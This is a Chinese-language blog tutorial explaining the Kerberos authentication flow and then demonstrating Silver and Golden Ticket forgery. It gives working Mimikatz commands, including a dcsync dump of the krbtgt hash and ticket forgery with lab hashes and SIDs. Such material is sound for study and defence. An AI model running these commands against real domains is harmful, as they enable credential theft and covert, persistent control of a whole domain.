Kerberos 协议到票据伪造
目前域环境中使用的认证协议基本都是Kerberos，所以把Kerberos协议理解透彻对域渗透来说极其重要。
图片来自：
web.mit.edu/kerberos/
0x01 Kerberos协议简化描述
上面的图片就是Kerberos的logo，形象为三个狗头，正好符合Kerberos协议中的三个主要角色:
- Client = 访问服务的客户端
- Server = 提供服务的服务端
- Key Distribution Center（KDC）= 密钥分发中心 = Domain Controller（DC）
其中KDC又包含以下两部分：
- Authentication Server（AS）= 认证服务
- Ticket Granting Server（TGS）= 票据授权服务
Kerberos协议简要描述如下：
客户端发送自己的用户名到
KDC服务器以向AS服务进行认证。KDC服务器会生成相应的TGT(Ticket Granting Ticket)票据，打上时间戳，在本地数据库中查找该用户的密码，并用该密码对TGT进行加密，将结果发还给客户端。客户端收到该信息，使用自己的密码进行解密之后，得到
TGT票据。这个TGT会在一段时间之后失效，也有一些会话管理器(session manager)能在用户登陆期间进行自动更新。当客户端需要使用一些特定服务的时候，客户端就发送
TGT到KDC服务器中的TGS服务。当该用户的
TGT验证通过并且其有权访问所申请的服务时，TGS服务会生成一个该服务所对应的票据(ticket)和会话密钥(session key)，并发还给客户端。客户端将服务请求与该
ticket一并发送给相应的服务端即可。
0x02 Kerberos协议具体流程
用户登陆
用户使用客户端上的程序进行登陆。
用户需要在客户端上输入用户ID与密码，客户端程序运行一个单向函数(One-way function)把密码转换成密钥，这个就是客户端(Client)的用户密钥(user's secret key)。
客户端认证
客户端(Client)从认证服务器(AS)获取票据授权票据Ticket Granting Ticket简称TGT。
客户端向
AS发送一条明文信息，用以申请对某服务的访问。但是这里用户不向
AS发送用户密钥(user's secret key)，也不发送密码，该AS能够从本地数据库中查询到该申请用户的密码，并通过与客户端相同的途径转换成相同的用户密钥(user's secret key)。AS检查该用户ID是否存在于本地数据库中，如果存在则返回两条信息：Client/TGS会话密钥(Client/TGS Session Key)，该Session Key用在将来Client与TGS的通信上，并通过用户密钥(user's secret key)进行加密。票据授权票据(
TGT)，TGT包括：Client/TGS会话密钥，用户ID，用户网址，TGT有效期，并通过TGS密钥(TGS's secret key)进行加密。
当
Client收到上一步的两条消息后，Client首先尝试用自己的用户密钥(user's secret key)解密Client/TGS会话密钥，如果用户输入的密码与AS数据库中的密码不符，则不能成功解密。输入正确的密码并通过随之生成的user's secret key才能解密，从而得到Client/TGS会话密钥。
服务授权
Client从TGS获取票据(client-to-server ticket)
当
Client需要申请特定服务时，会向TGS发送以下两条消息：AS向Client返回的票据授权票据TGT，以及需要获取服务的服务ID。- 认证符(
Authenticator)，其包括：用户ID，时间戳，并通过Client/TGS会话密钥进行加密。
收到以上两条消息后，
TGS首先检查KDC数据库中是否存在所需的服务，查找到之后，TGS用自己的TGS密钥(TGS's secret key)解密TGT，从而得到之前生成的Client/TGS会话密钥。TGS再用这个会话密钥解密得到包含用户ID和时间戳的Authenticator，并对TGT和Authenticator进行验证，验证通过之后返回两条消息：Client-Server票据(client-to-server ticket)，该票据包括：Client/SS会话密钥 (Client/Server Session Key），用户ID，用户网址，有效期），并通过提供该服务的服务器密钥(service's secret key)进行加密。Client/SS会话密钥(Client/Server Session Key)，该会话密钥用在将来Client与Server Service的通信上，并通过Client/TGS会话密钥(Client/TGS Session Key)进行加密。
Client收到这些消息后，用Client/TGS会话密钥(Client/TGS Session Key)解密得到Client/SS会话密钥(Client/Server Session Key)。
服务请求
Client从Server获取服务
- 当获得
Client/SS会话密钥(Client/Server Session Key)之后，Client就能够使用服务器提供的服务了。Client向指定服务器Server发出两条消息：- 上一步的
Client-Server票据(client-to-server ticket)，并通过服务器密钥(service's secret key)进行加密。 - 新的
Authenticator包括：用户ID，时间戳，并通过Client/SS会话密钥(Client/Server Session Key)进行加密。
- 上一步的
Server用自己的密钥service's secret key解密Client-Server票据得到TGS提供的Client/SS会话密钥Client/Server Session Key。再用这个会话密钥解密得到新的Authenticator，再对Ticket和Authenticator进行验证，验证通过则返回一条消息：- 新时间戳，新时间戳是：
Client发送的时间戳加1(Kerberos版本5已经取消这一做法），并通过Client/SS会话密钥(Client/Server Session Key)进行加密。
- 新时间戳，新时间戳是：
Client通过Client/SS会话密钥(Client/Server Session Key)解密得到新时间戳并验证其是否正确。验证通过的话则客户端可以信赖服务器，并向服务器Server发送服务请求。- 服务器
Server向客户端Client提供相应的服务。
0x03 白银票据Silver Ticket伪造
白银票据伪造的是TGS的票据，是一个点对点的有效凭证。
正常情况下一个非域管权限的域内用户访问域控的文件共享是拒绝访问的。
下面来伪造白银票据来让Client端的该用户具有访问权限：
得到域控管理员
NTLM Hash：ec9c6ab085b32841da1a0c61466b959b
得到域
SID：S-1-5-21-3446166583-1116429469-1279190574
- 当前域名是
zjun.com，伪造的用户名为test，服务伪造cifs，需要访问的主机是dc.zjun.com，在Client利用Mimikatz执行
- 当前域名是
kerberos::golden /domain:zjun.com /sid:S-1-5-21-3446166583-1116429469-1279190574 /target:dc.zjun.com /rc4:ec9c6ab085b32841da1a0c61466b959b /service:cifs /user:test /ptt
/domain: 域名称
/sid: 域SID
/target: 目标主机名
/service: 服务类型
/rc4: 用户NTLM hash
/user: 伪造的随意用户名
可以看到内存中已经有了票据
现在也有了权限访问DC的文件共享了
也可以利用psexec弹回cmd
0x04 黄金票据Golden Ticket伪造
黄金票据伪造的是TGT，是一个任意服务的认证凭据。
伪造黄金票据最主要得是需要获得krbtgt用户的NTLM hash，在拿下域控后可以抓取kerbtgt的NTLM hash：
mimikatz.exe log "lsadump::dcsync /domain:zjun.com /user:krbtgt" exit 
然后便可容易在域内其他主机或可以访问到域的主机上伪造黄金票据：
kerberos::golden /admin:administrator /domain:zjun.com /sid:S-1-5-21-3446166583-1116429469-1279190574 /krbtgt:66ad458513450343d7625cd1bc6f7262 /ptt
/admin：伪造的任意用户名
/domain：域名称
/sid：域SID
/krbtgt：krbtgt用户的NTLM hash
可以很隐蔽的控制整个域环境。
0x05 总结
kerberos协议认证流程虽然比较干枯，但是在理解之后会对域环境有一个比较深刻的理解。上面的内容可能会有一些错误或没表述清晰，毕竟本人才疏学浅，写这篇文章的时候也有自己被自己绕到。
作者: zjun
文章链接: www.zjun.info/2020/kerberos.html
